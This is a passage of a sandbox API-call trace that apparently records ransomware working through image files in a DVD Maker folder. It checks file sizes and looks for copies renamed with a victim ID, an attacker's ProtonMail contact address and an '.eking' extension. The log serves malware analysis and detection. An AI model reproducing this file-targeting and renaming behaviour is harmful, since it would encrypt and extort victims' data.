(lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png")) returned 0x20 [0182.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png")) returned 0x20 [0182.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.723] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=22969) returned 1 [0182.723] CloseHandle (hObject=0x1e0) returned 1 [0182.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png")) returned 0x20 [0182.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png")) returned 0x20 [0182.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.723] SetEvent (hEvent=0x174) returned 1 [0182.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.724] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5647) returned 1 [0182.724] CloseHandle (hObject=0x1e0) returned 1 [0182.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png")) returned 0x20 [0182.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png")) returned 0x20 [0182.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.725] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3214) returned 1 [0182.725] CloseHandle (hObject=0x1e0) returned 1 [0182.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png")) returned 0x20 [0182.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png")) returned 0x20 [0182.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.730] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4570) returned 1 [0182.730] CloseHandle (hObject=0x1e0) returned 1 [0182.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png")) returned 0x20 [0182.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png")) returned 0x20 [0182.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.731] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4570) returned 1 [0182.731] CloseHandle (hObject=0x1e0) returned 1 [0182.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png")) returned 0x20 [0182.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png")) returned 0x20 [0182.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.732] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5088) returned 1 [0182.732] CloseHandle (hObject=0x1e0) returned 1 [0182.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png")) returned 0x20 [0182.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png")) returned 0x20 [0182.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.734] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3130) returned 1 [0182.734] CloseHandle (hObject=0x1e0) returned 1 [0182.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png")) returned 0x20 [0182.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png")) returned 0x20 [0182.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.735] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5025) returned 1 [0182.735] CloseHandle (hObject=0x1e0) returned 1 [0182.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png")) returned 0x20 [0182.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png")) returned 0x20 [0182.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.736] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3118) returned 1 [0182.736] CloseHandle (hObject=0x1e0) returned 1 [0182.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png")) returned 0x20 [0182.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png")) returned 0x20 [0182.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.738] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4955) returned 1 [0182.738] CloseHandle (hObject=0x1e0) returned 1 [0182.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png")) returned 0x20 [0182.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png")) returned 0x20 [0182.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.739] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3081) returned 1 [0182.739] CloseHandle (hObject=0x1e0) returned 1 [0182.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png")) returned 0x20 [0182.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png")) returned 0x20 [0182.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.740] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=24066) returned 1 [0182.740] CloseHandle (hObject=0x1e0) returned 1 [0182.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png")) returned 0x20 [0182.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png")) returned 0x20 [0182.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.742] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2962) returned 1 [0182.742] CloseHandle (hObject=0x1e0) returned 1 [0182.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png")) returned 0x20 [0182.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png")) returned 0x20 [0182.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.743] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2928) returned 1 [0182.743] CloseHandle (hObject=0x1e0) returned 1 [0182.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png")) returned 0x20 [0182.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png")) returned 0x20 [0182.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.745] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3000) returned 1 [0182.745] CloseHandle (hObject=0x1e0) returned 1 [0182.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png")) returned 0x20 [0182.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd 